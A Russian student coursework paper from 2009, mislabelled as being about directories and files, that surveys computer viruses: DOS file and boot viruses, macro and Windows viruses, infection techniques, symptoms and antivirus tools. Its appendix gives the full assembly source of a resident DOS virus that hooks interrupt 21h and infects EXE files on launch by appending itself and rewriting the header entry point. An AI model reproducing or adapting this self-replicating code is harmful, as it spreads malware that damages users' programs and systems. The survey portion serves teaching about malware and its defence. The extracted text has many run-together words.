Реферат по предмету "Информатика, программирование"


Работа с каталогами и подкаталогами. Работа с файлами

КУРСОВАЯ РАБОТА
на тему:
«Работа с каталогамии подкаталогами. Работа с файлами»
Орел, 2009

Введение
 
Компьютерныйвирус –разновидность компьютерных программ, отличительной особенностью которойявляется способность к размножению (саморепликация). В дополнение к этомувирусы могут повредить или полностью уничтожить все файлы и данные,подконтрольные пользователю, от имени которого была запущена заражённаяпрограмма, а также повредить или даже уничтожить операционную систему со всемифайлами в целом.
Неспециалистык компьютерным вирусам иногда причисляют и другие виды вредоносных программ,такие как трояны, программы-шпионы и даже спам. Известны десятки тысячкомпьютерных вирусов, которые распространяются через Интернет по всему миру, организуявирусные эпидемии.
Вирусыраспространяются, внедряя себя в исполняемый код других программ или же заменяясобой другие программы. Какое-то время даже считалось, что, являясь программой,вирус может заразить только программу – какое угодно изменение непрограммы является не заражением, а просто повреждением данных.Подразумевалось, что такие копии вируса не получат управления, будучиинформацией, не используемой процессором в качестве инструкций. Так, напримернеформатированный текст не мог бы быть переносчиком вируса.
Однако,позднее злоумышленники добились, что вирусным поведением может обладать нетолько исполняемый код, содержащий машинный код процессора. Были написанывирусы на языке пакетных файлов. Потом появились макровирусы, внедряющиеся черезмакросы в документы таких программ, как Microsoft Word и Excel.
Некотороевремя спустя взломщики создали вирусы, использующие уязвимости в популярномпрограммном обеспечении (например, Adobe Photoshop, Internet Explorer,Outlook), в общем случае обрабатывающем обычные данные. Вирусы сталираспространяться посредством внедрения в последовательности данных (например,картинки, тексты, и т.д.) специального кода, использующего уязвимостипрограммного обеспечения.

1. Файловыевирусы в MSDOS
По одной из классификацийвирусы делят на файловые и загрузочные (бутовые). К файловым вирусам относятвирусы, поражающие запускаемые файлы (программы), а к загрузочным – вирусы,активизирующиеся через главную загрузочную запись или через ВООТ – сектор.Деление довольно условное, так как стали появляться вирусы, сочетающие в себесвойства тех и других. Мы, однако, традиционно разделим вирусы, обитающие всреде MS DOS на файловые и бутовые (загрузочные). В разделе IV мы поговорим о другихвидах. Файловые вирусы (ФВ) могут заражать как СОМ так
ЕХЕ – программы.Ниже перечислены стандартные способы заражения:
1. Способызаражения СОМ-программ. На Рис. 1 представлены три способа зараженияСОМ-программ. Легко заметить, что заражение осуществляется так, чтобы вирусполучал управление сразу после запуска программы. Как Вы понимаете, команда JMPсимволизирует здесь просто передачу управления. Вместо нее с тем же успехомпользуются командами RET или CALL с соответствующей корректировкой стека./> /> /> /> /> /> /> /> /> /> />

2. ЗаражениеЕХЕ – программ. Заразить ЕХЕ-программу несколько сложнее, хотя идея заражениядовольно ясна. Тело вируса приписывается к какой-либо части программы, а взаголовке меняются значения регистров CS и IP (см. Главу 14). Таким образом,при запуске программы управление вначале опять передается вирусу. Наиболееизощренные вирусы корректируют еще значения SS и SP, дабы не угодить в областьстека, а также проверяют программу на наличие в ней оверлеев. Наличие впрограмме оверлея может привести к тому, что управление никогда не будетпередано вирусу, и программа перестанет запускаться.
3. Некоторыевирусы способны заражать оверлеи, имеющие стандартную структуру. Активизация вирусапроисходит при запуске оверлея прикладной программой.
Появившийсянекоторое время назад вирус DIR является своего рода качественным развитиемфайловых вирусов. Данный вирус корректирует FAT так, что при запуске любойпрограммы управление передается ему. После того как он оказался в памяти,стандартные утилиты уже не могут обнаружить искаженную структуру FAT.
4.Активизация вирусов. Часть вирусов, которые называют не резидентными,активизируются лишь временно, во время запуска зараженной программы. Какправило, за время активизации они пытаются заразить одну или несколькопрограмм. Поиск программ для заражения может производиться в текущем каталоге,корневом каталоге, через PATH в окружении или посредством поиска по всемудереву каталогов (алгоритм достаточно сложен для реализации его на ассемблере,и, кроме того, для осуществления поиска требуется время).
Вирусы,называемые резидентными, активизируются во время запуска программы и остаютсяактивными в течение всего времени работы компьютера. Некоторые вирусы остаютсяактивными даже после перезагрузки через Ctrl Alt Del, т.к. обрабатываютсоответствующее прерывание. Рассмотрим подробнее, как вирусы устанавливают себяв памяти. При запуске программы управление передается вирусу. В его задачувходит: а) установить себя в память; б) передать управление запущеннойпрограмме. Есть три области памяти, где может прижиться вирус. Это старшиеадреса памяти, младшие адреса памяти и системная область. Установка вирусапосередине адресного пространства неэффективна, т.к. сразу же даст о себе знать– перестанут запускаться программы. Остаться резидентным в старших адресахпамяти наиболее простая задача. Вирус перемещает себя в нужную область памяти,а затем корректирует текущий МСВ, уменьшая размер блока на размер захваченнойобласти. Сложнее остаться резидентным в младших адресах памяти. Свободногоблока может не быть, и придется перемещать программу. Если это ЕХЕ – программа,то не избежать корректировки адресов. Кроме того, придется правильно создатьсвой МСВ и, следовательно, скорректировать предыдущий. Зато вирус в младшихадресах памяти не так бросается в глаза. Некоторые вирусы «прикрепляют» себя ктелу легальной резидентной программы, что значительно затрудняет их обнаружение.Если вирус не слишком большой, то сможет найти себе место и в системнойобласти. Это может быть системный стек, системный буфер (тогда должно бытьуменьшено число системных буферов), область данных DOS и BIOS или областьвекторов прерываний. Отметим, что есть вирусы, которые, как ни странно, дляустановки себя в памяти используют стандартное прерывание 27Н. Оказавшись впамяти, такой вирус еще раз запускает зараженную программу, оставляя занятымлишь блок, который он занимает. Передает управление сразу на нее, а по выходуиз этой программы передает управление DOS через прерывание 27Н (!). Заметимтакже, что вирус может состоять из нескольких частей, которые могутрасполагаться в разных областях памяти и взаимодействовать друг с другом.
Вирус,помещая себя в память, перехватывает некоторые прерывания, чтобы контролироватьситуацию и иметь возможность размножаться. Как правило, это 21-е и 13-епрерывания. Посредством этих прерываний можно контролировать обращение системык диску и при благоприятной возможности заразить программу. Чаще всего для этойцели используется функция DOS 4BH, вызываемая каждый раз для запуска программы.Есть, однако, вирусы, которые заражают файл даже при его открытии или чтении.Конечно, легко написать программу, которая путем отслеживания прерываний 13Н и21Н фиксировала бы подозрительные действия, происходящие в системе (такиепрограммы называют мониторами). Однако многие вирусы трассируют прерывания,определяя значения векторов до того, как их перехватили какие-то программы, илиже используют недокументированные точки входа в системные процедуры. Поэтомутакие программы, даже запущенные до активизации вируса, не способны отслеживатьего действия. Возможно также, что вирус направит вектор в область памяти, где будет находитьсянебольшая процедура, которая нестандартным способом (например, через IRET)передаст управление вирусу, который будет находиться в другой областипространства. Перехваченные векторы могут приводить, разумеется, к проявлениюкак разрушительных (форматирование дискет, порча файлов, зависание и т.п.), таки развлекательных (картинки, шуточные сообщения, звуковые проявления и т.д.)функций вируса. К файловым вирусам следует отнести и вирусы-спутники. Действиеэтих вирусов весьма остроумно. Суть в том, что рядом с ЕХЕ – программойсоздается СОМ – программа, но с таким же именем. Понятно, что это есть в чистомвиде сам вирус. Когда же мы запускаем ЕХЕ – программу, то по правиламоперационная система ищет вначале СОМ – модуль и запускает его. Активизируясь,вирус затем запускает и саму программу. После этого запуск незараженнойпрограммы вызывает появление в том же подкаталоге ее СОМ – двойника. В болеепростом варианте вирус является нерезидентным, и заражение происходит во времязапуска программы.
2. Бутовые(загрузочные) вирусы
Стандартныймеханизм заражения такими вирусами таков: вместо программы загрузкиподставляется другая программа, которая:
1. Призапуске системы вначале загрузит в память резидентную часть вируса.
2.Перенаправит нужные векторы прерываний на эту резидентную часть.
3. Запуститпрограмму загрузки так, чтобы процесс загрузки продолжался.
Все такиевирусы, как правило, работают с прерыванием 1ЗН, которое перехватывают призагрузке системы. Хитрость здесь в том, чтобы обманывать программы,просматривающие диск. При попытке просмотреть ВООТ – сектор вместо негоподставляется истинный, без вируса.
Часто одногосектора недостаточно для тела вируса, и другую свою часть он прячет в свободныхсекторах, которые можно найти в начале, либо в секторах, которые затем онпомечает как сбойные. Свободные секторы найти совсем несложно. Действительно,вся дорожка цилиндра 0 стороны 0 пустует, кроме первого сектора, гдерасполагается Partition Table или ВООТ – сектор (для дискеты). На дискетахбутовые вирусы прячутся также в последних секторах корневого каталога. Наконец,вирусы могут содержать в себе свой загрузчик. Такие вирусы при записи в ВООТ – секторзатирают старый загрузчик. Некоторые вирусы (знаменитый вирус BRAIN) используютсвободные кластеры на диске, которые ищут по FAT-таблице, помечая их как испорченные.Бутовых вирусов не так много, как файловых, и распространяются они не такбыстро. Связано это с тем, что для заражения компьютера требуется попытказапуска с зараженной дискеты. Однако в последнее время начинают появлятьсявирусы, сочетающие в себе свойства как файловых, так и бутовых вирусов.
3. Другиевирусы
Существуютвирусы, встречающиеся гораздо реже, чем файловые или бутовые вирусы. К таким, вчастности, относятся вирусы, которые можно назвать драйверными. Они работают науровне загружаемых драйверов устройств, внедряясь в системную область послезагрузки операционной системы либо используя для заражения файл CONFIG.SYS.Последнее довольно интересно, т. к. использование строки 'DEVICE' требует,чтобы загружаемый драйвер находился на диске в виде файла. Здесь возможны
различныеуловки, например, вирус вначале активизируется через программу загрузчик,подставляет необходимую строку в CONFIG.SYS и образует соответствующий драйвер.Далее загрузка идет своим чередом, и вирус оказывается загруженным в областьдрайверов. После загрузки, естественно, строка в CONFIG.SYS и драйвер в концеуничтожаются. Другие вирусы внедряются непосредственно в драйвер устройства.Стандартный механизм заражения драйвера таков: вирус приписывает себя к концудрайвера и модифицирует адреса программы стратегии и программы прерываний так,чтобы при вызове драйвера обращение вначале происходило к вирусу. Определеннуюгруппу вирусов называют «червями». Эти вирусы орудуют в компьютерных сетях.Переходя от компьютера к компьютеру, они могут практически не использоватьдисковое пространство и работать только на уровне оперативной памяти.Существование таких вирусов для локальных IBM-сетей пока неизвестно. До сих пормы говорили о вирусах, «работающих» на уровне машинных команд. К таковымотносятся и вирусы, написанные на языках высокого уровня (есть такие вирусы,работающие в среде MS DOS). В любом случае сам механизм встраивания в прикладнуюили системную программу происходит на уровне команд микропроцессора. Однаковозможен совершенно иной тип вируса (автору неизвестно о существовании такихвирусов на персональных компьютерах). Такие вирусы можно назвать командными.Принципиально нет ничего, что могло бы помешать их появлению. Современныеприкладные пакеты (редакторы, электронные таблицы, системы управления базданных и т.п.) часто имеют свои языки управления заданиями. Эти языки могутбыть весьма мощными и гибкими, в принципе позволяющими создаватьсаморазмножающиеся объекты. Похожая ситуация складывается и в средеоперационных систем. В MS DOS существует возможность написания пакетных файлов –выполняемых программ, состоящих из команд операционной системы. Существенно то,что вместо команд операционной системы может стоять любая программа – обычныйзагрузочный модуль, выполняющийся в среде операционной системы. Таким образом,мы можем до бесконечности пополнять и совершенствовать набор стандартныхкоманд. Не составит труда написать программу, которая бы разыскивала ВАТСН – файлыи дописывала бы к ним несколько строк.
Наконец, принципиальновозможен еще один тип вирусов. Такие вирусы можно назвать транслируемыми. Ктексту программы на языке высокого уровня дописывается некоторое количествострок. После трансляции вирус оказывается неотъемлемой частью программы.Процесс же дописывания строк к текстам программ будет продолжаться.
4.        Вирусыв операционной системе Windows
С появлениемоперационной системы Windows 95 поле деятельности производителей компьютерныхвирусов в значительной степени расширилось. Здесь бы я выделил три типа вирусов,которые так или иначе связаны с новой операционной системой:
1. Вирусы,написанные на Visual Basic и внедряющиеся в файлы, создаются для MSWORD иMSEXEL. Эпидемия этих вирусов прокатилась некоторое время назад, в настоящее жевремя они стали неотъемлемой частью нашей жизни. Принцип функционирования этихвирусов весьма прост. Многие программы создают файлы, которые могут содержать всебе макрокоманды. Причем можно сделать так, что эти макрокоманды будутвыполняться каждый раз перед загрузкой этого файла (макрос AutoOpen).;
Макро – вирусвставляет свою процедуру так, что она выполняется перед загрузкой документа.Поэтому образом вирус будет каждый раз получать управление. Все остальное–делотехники.
2. Вирусы, вцелом написанные для MS DOS, но использующие так или иначе наличие операционнойсистемы Windows. Здесь речь может идти о самых разных проявлениях. Есть вирусы,поражающие ЕХЕ – файлы в формате NE. Причем DOS-часть этих файлов. Так что ониактивизируются только при запуске этих файлов в MS DOS. Есть вирусы,встраивающиеся в загрузочные файлы Windows и т.д.
3.Полноценные Windows-вирусы. Пока преобладает, скажем так, не резидентный подход.Заражается ЕХЕ – файл (формат NE или РЕ). При запуске такой программы вирусактивизируется на время, необходимое для поиска программы-жертвы. Появилисьтакже вирусы с иным механизмом поражения. В частности, запись вируса в виде VXD-файла.Вирус также корректирует SYSTEM.INI, так чтобы данный «драйвер» загружалсякаждый раз при загрузке Windows.
SYSTEM.INIиспользуется также для заражения программ, всегда загружаемых при запускеWINDOWS. Вообще понятие резидентной программы в Windows потеряло свой смысл.Любая программа может быть резидентной, т.е. находится в памяти при запуске иработе других программ. Следовательно, любой вирус, заразивший ту или инуюпрограмму и не удаляющий себя из памяти при запуске, может быть резидентным.Вопрос заключается лишь в том, может он активизироваться или нет приактивизации зараженной программы.
5.        Борьбас вирусами
Мыпопробовали провести некоторую классификацию проявлений вирусов. По этимпризнакам можно судить о присутствии вирусов на диске или в памяти, не имеяспециальных средств:
а) Изменениедлины программ. Не многим вирусам удается не менять длины программы. Некоторыевирусы пытаются так подкорректировать длину, чтобы ее изменение было незаметно.Например, не садятся на слишком короткие программы, корректируют длину так,чтобы она изменилась на 1000 байт (не так заметно) и т.д.
б) Нехваткапамяти. Некоторые программы сообщают о нехватке памяти, некоторые выдаютсообщения об ошибке или зависают. В любом случае это должно Вас насторожить. в)Когда вирус «садится» на программу, то происходит автоматическая корректировкавремени и даты файла. Если вирус не восстанавливает старые значения, то этоможет служить хорошим признаком несанкционированного доступа к Вашей программе.Интересно, что установка во времени корректировки файла 62 секунды (проверьте,что установить 63 или 61 секунду невозможно, и объясните почему) является для многихвирусов признаком зараженности программы.
г)Проявления, связанные с развлекательными функциями вируса. Это могут бытьнеобычные или шутливые сообщения, странные явления на экране (осыпание букв ит.д.), звуковые сигналы и музыка и т.д.
д)Проявления, связанные с разрушительными функциями вирусов. Это может бытьнеожиданно переставшая запускаться программа, испорченная база данных, незапускающаяся дискета, странные зависания системы и т.д.
е)Проявления, связанные с некорректной работой вируса или наличием ошибок в нем.Классическим примером может служить отсутствие обработки критических ошибок дляMS DOS (см. Глава 9). Некоторые вирусы, заражая программу, безнадежно портят ее(иногда ошибка, а иногда и намеренные действия). Часто вирусы некорректно работаютс операционной системой. Например, не работают на DOS 6.0. Портят содержимоерегистров при входе в программу. Проявлений здесь огромное количество.Некорректная загрузка Windows также должна Вас насторожить.
ж) Иногда оналичии в программе вируса можно судить по присутствию в нем некоторыххарактерных строк, которые можно обнаружить даже при «текстовом» просмотре. Вотэти типичные строки: *.СОМ, *.ЕХЕ, РАТН=, COMMAND.
«Умные» вирусы,однако, шифруют строки, подобные этим.
з)Нерезидентные вирусы после запуска зараженной программы должны найти новуюжертву, прежде чем передать управление программе. Поиск, вообще говоря, можетпотребовать времени. Поэтому отмечайте для себя те случаи, когда некоторыепрограммы начнут запускаться медленнее обычного.
Появлениеновых операционных систем, таких, как Windows, вносит серьезные коррективы вдело обнаружения вирусов. Сразу скажу, что обнаружение вирусов способами,описанными выше, становится все менее и менее возможным. Из-за огромногоколичества файлов как в самой операционной системе, так и в используемыхпакетах, никто уже не просматривает списки файлов. Да и сами программызапускаются или с рабочего стола, или из меню. Наличие же ошибок в операционныхсистемах Windows 95 и Windows 98 приучает пользователей к не совсем корректнойработе системы. Зависания, некорректные загрузки и неожиданные перезагрузкикомпьютера теперь списывают на систему, а о вирусах забывают. Все этодостаточно печально и наводит на мысль о том, что компьютерным вирусам далеебудет жить все вольготнее. Наше время ознаменовано также широкимраспространением локальных и глобальных компьютерных сетей, что еще в большейстепени усложняет возможность обнаружения вируса. Сейчас наработан довольнобольшой арсенал программных средств защиты от вирусов. Ниже перечисляются этисредства защиты. Антивирусные ревизоры. Суть работы этих программ заключается втом, что состояние программ, системных файлов, boot-секторов и т.п.запоминается. При запуске ревизора происходит сравнение контрольных сумм. При обнаруженииизменений выдается сообщение или производятся, какие-либо другие действия.Разумеется, ревизор не может точно сказать, обнаружен вирус или изменениявызваны другими причинами. Основным требованием, предъявляемым к такимпрограммам, является умение обнаружить изменения, производимые вирусом, дажеесли вирус находится в памяти. Ревизия должна производиться по крайней мерекаждый раз после запуска операционной системы. Существуют резидентные ревизоры,которые могут проверять контрольную сумму программы перед самым ее запуском.
Детекторы.Эти программы рассчитаны на вполне определенные вирусы, которые ищутся посигнатуре – строке, содержащейся в теле вируса. Некоторые детекторы позволяютпользователю пополнять список сигнатур. Использование таких программ достаточноограниченно. Новые вирусы появляются с огромной быстротой, и даже авторы самыхзнаменитых и эффективных детекторов не поспевают за ними.
Фаги.Программы, позволяющие восстанавливать (лечить) зараженные файлы. Обычно такиепрограммы имеют и встроенный детектор. Данные программы весьма опасны, т.к.часто портят восстанавливаемые файлы. Весьма незначительные изменения в вирусемогут привести к изменению длины вируса или отдельных его частей и даже способазаражения. После чего попытка излечить программу отданного вируса скорее всегоприведет к порче программы. Вакцины и вакцинация. Идея заключается в попыткеобмануть вирус. Большинство вирусов перед тем как «сесть» на программупроверяет, не заражена ли уже она. Для этого в теле программы в определенномместе ищется специальная метка. Если в нужное место программы поместить этуметку, то программа тем самым будет защищена отданного вируса. Резидентнаяпрограмма-вакцина находится в памяти и имитирует наличие там вируса. Призапуске зараженной программы вирус проверяет наличие себя в памяти поопределенным признакам. Вакцина обманывает вирус, не позволяя ему остаться впамяти. Легко сообразить, что количество вирусов, от которых можно уберечьсятаким способом, невелико. Трудно себе представить вакцинацию, скажем, от ставирусов одновременно. Такой метод можно эффективно использовать лишь во времяэпидемий на машинах со многими пользователями. Резидентные сторожа. Сторож–этопрограмма, позволяющая выявить или блокировать несанкционированные действия всистеме. Таковым может быть либо заражение программы, либо попытка остаться впамяти резидентно. Отслеживанием прерываний и сравнением объема свободнойпамяти до и после запуска программы это сделать не так уж трудно. Проблемазаключается в том, что запись на диск производится довольно часто, и сторождолжен проявлять определенную «интеллектуальность», реагируя лишь наподозрительные операции.
Программаможет иметь и своего собственного сторожа, который запускается при запускепрограммы и далее проверяет возможность ее заражения. В конце главы приводятсяпримеры того, как в принципе может быть построен такой сторож.
6. Постановказадачи
Продемонстрироватьстандартный способ заражения. ЕХЕ – файлов.
В частности стандартный способ заражения ЕХЕ-файлов такой: вирус изменяет в заголовке файла точку входа (значения CS и IP) таким образом, чтобы она соответствовала концу файла; затем он дописывается в конец (т.о. новая точка входа соответствует его началу). При этом вирус сохраняет в себе изначальную точку входа, и когда он выполнит свою задачу – передает управление по этому адресу. Помимо точки входа вирус может переопределить (а потом – отреставрировать) значения SS и SP.

Заключение
Нынесуществует немало разновидностей вирусов, различающихся по способу распространенияи функциональности. Если изначально вирусы распространялись на дискетах идругих носителях, то сейчас доминируют вирусы, распространяющиеся черезИнтернет. Растёт и функциональность вирусов, которую они перенимают от другихвидов программ: руткитов, бэкдоров (создают «чёрный ход» в систему),кейлоггеров (регистрация активности пользователей), программ-шпионов (крадутпароли от банковских счётов и номера кредитных карт), ботнетов (превращаютзаражённые компьютеры в станции по рассылке спама или в часть компьютерныхсетей, занимающихся спамом и прочей противоправной активностью).
Созданиеи распространение компьютерных вирусов и вредоносных программ преследуется вРоссии согласно Уголовному Кодексу РФ (глава 28, статья 273).

Списоклитературы
1.   Пирогов, В.Ю. ASSEMBLER. Учебный курс [Текст]/ В.Ю. Пирогов. – М.: Издательство Нолидж, 2001. – 848 с., ил.
2.   www.codenet.ru/cat/Languages/Assembler/

ПриложениеА
Это –программа, пример стандартного заражения
ЕХЕ-файлов
ASSUMECS: CodeSegment
CodeSegmentSEGMENT PARA
ORG(100h)
Start:
MainProcedurePROC NEAR
;
;
my_head:JMP initial
;
;
f_number:DW 0
;
;
saved_int21:DD 0
;
;
;
int21_treater:CMPAH, 4Bh
JEbegin
JMPretro
begin:PUSH AX
PUSHBX
PUSHCX
PUSHDX
PUSHDS
PUSHES
PUSHDI
PUSHSI
MOVDI, DX
resend_again:INC DI
CMPbyte ptr DS: [DI], 0
JNEresend_again
CMPword ptr DS: [DI-2], 4558h
JNEto_no_exe
CMPword ptr DS: [DI-4], 452Eh
JEthats_exe
to_no_exe:JMP no_exe
thats_exe:
MOVCX, 0
MOVAH, 3Dh
MOVAL, 2
CALLcall_int21
MOVword ptr CS: [f_number-100h], AX
PUSHCS
POPDS
MOVAH, 3Fh
MOVDX, OFFSET data_exe – 100h
MOVCX, 20h
MOVBX, word ptr CS: [f_number-100h]
CALLcall_int21
CMPword ptr DS: [data_exe – 100h + 0Ah], 50h
JNEthats_clear
JMPno_exe
thats_clear:
MOVword ptr DS: [data_exe – 100h + 0Ah], 50h
MOVAX, word ptr CS: [data_exe – 100h + 14h]
MOVword ptr CS: [saved_ip – 100h + 1], AX
MOVAX, word ptr CS: [data_exe – 100h + 16h]
MOVword ptr CS: [saved_cs – 100h + 1], AX
MOVAX, word ptr CS: [data_exe – 100h + 10h]
MOVword ptr CS: [saved_sp – 100h + 1], AX
MOVAX, word ptr CS: [data_exe – 100h + 0Eh]
MOVword ptr CS: [saved_ss – 100h + 1], AX
XORCX, CX
XORDX, DX
MOVBX, word ptr CS: [f_number-100h]
MOVAL, 2
MOVAH, 42h
CALLcall_int21
PUSHAX
PUSHDX
MOVBX, 200h
DIVBX
INCAX
ADDDX, 1C3h
CMPDX, 200h
JBno_add
INCAX
SUBDX, 200h
no_add:MOV word ptr CS: [data_exe – 100h + 2h], DX
MOVword ptr CS: [data_exe – 100h + 4h], AX
POPDX
POPAX
PUSHAX
MOVAX, DX
MOVBX, 1000h
MULBX
POPDX
;
CMPAX, 0
JEsub_dx
sub_ax:SUB AX, word ptr CS: [data_exe – 100h + 8h]
JMPshort length_got
sub_dx:PUSH AX
PUSHDX
MOVAX, word ptr CS: [data_exe – 100h + 8h]
MOVBX, 10h
MULBX
POPDX
SUBDX, AX
POPAX
length_got:
MOVword ptr CS: [M1 – 100h +1], DX
MOVword ptr CS: [data_exe – 100h + 14h], DX
MOVword ptr CS: [data_exe – 100h + 16h], AX
ADDAX, 50h
MOVword ptr CS: [data_exe – 100h + 10h], DX
MOVword ptr CS: [data_exe – 100h + 0Eh], AX
MOVBX, word ptr CS: [f_number-100h]
MOVDX, OFFSET my_head-100h
MOVCX, my_end – my_head
MOVAH, 40h
CALLcall_int21
XORCX, CX
XORDX, DX
MOVBX, word ptr CS: [f_number-100h]
MOVAL, 0
MOVAH, 42h
CALLcall_int21
MOVBX, word ptr CS: [f_number-100h]
MOVDX, OFFSET data_exe-100h
MOVCX, 20h
MOVAH, 40h
CALLcall_int21
to_close:MOV BX, word ptr CS: [f_number-100h]
MOVAH, 3Eh
CALLcall_int21
no_exe:POP SI
POPDI
POPES
POPDS
POPDX
POPCX
POPBX
POPAX
retro:JMP dword ptr CS: [saved_int21–100h]
call_int21:
PUSHF
CALLdword ptr CS: [saved_int21–100h]
RET
initial:PUSH DS
PUSHES
MOVAX, 40h
MOVES, AX
CMPbyte ptr ES: [134h], 55h
JEno_tsr
MOVbyte ptr ES: [134h], 55h
MOVAX, DS: [02]
SUBAX, 30h
PUSHDS;>>
PUSHCS
POPDS
m1:MOV SI, OFFSET my_head
MOVES, AX
XORDI, DI
MOVCX, my_end – my_head
CLD
REPEMOVSB
POPDS
MOVBX, DS
DECBX
MOVDS, BX
SUBword ptr DS: [03h], 30h
SUBword ptr DS: [12h], 30h
XORBX, BX
MOVDS, BX
MOVAX, DS: [21h*4+0]; 48Bh
MOVword ptr ES: [saved_int21–100h+0], AX
MOVAX, DS: [21h*4+2]; 5BDh
MOVword ptr ES: [saved_int21–100h+2], AX
CLI
MOVword ptr DS: [21h*4+0], OFFSET int21_treater – 100h
MOVword ptr DS: [21h*4+2], ES
STI
no_tsr:
POPAX
MOVDS, AX
ADDAX, 10h
POPES
CMPword ptr CS: [00], 20CDh
JNEno_first
RET
no_first:CLI
saved_ss:MOV CX, 1234h
ADDCX, AX
MOVSS, CX
saved_sp:MOV SP, 1234h
STI
saved_cs:MOV DI, 1234h
ADDAX, DI
PUSHAX
saved_ip:MOV AX, 1234h
PUSHAX
RETF
data_exe:
my_end:
MainProcedureENDP
CodeSegmentENDS
END Start


Не сдавайте скачаную работу преподавателю!
Данный реферат Вы можете использовать для подготовки курсовых проектов.

Поделись с друзьями, за репост + 100 мильонов к студенческой карме :

Пишем реферат самостоятельно:
! Как писать рефераты
Практические рекомендации по написанию студенческих рефератов.
! План реферата Краткий список разделов, отражающий структура и порядок работы над будующим рефератом.
! Введение реферата Вводная часть работы, в которой отражается цель и обозначается список задач.
! Заключение реферата В заключении подводятся итоги, описывается была ли достигнута поставленная цель, каковы результаты.
! Оформление рефератов Методические рекомендации по грамотному оформлению работы по ГОСТ.

Читайте также:
Виды рефератов Какими бывают рефераты по своему назначению и структуре.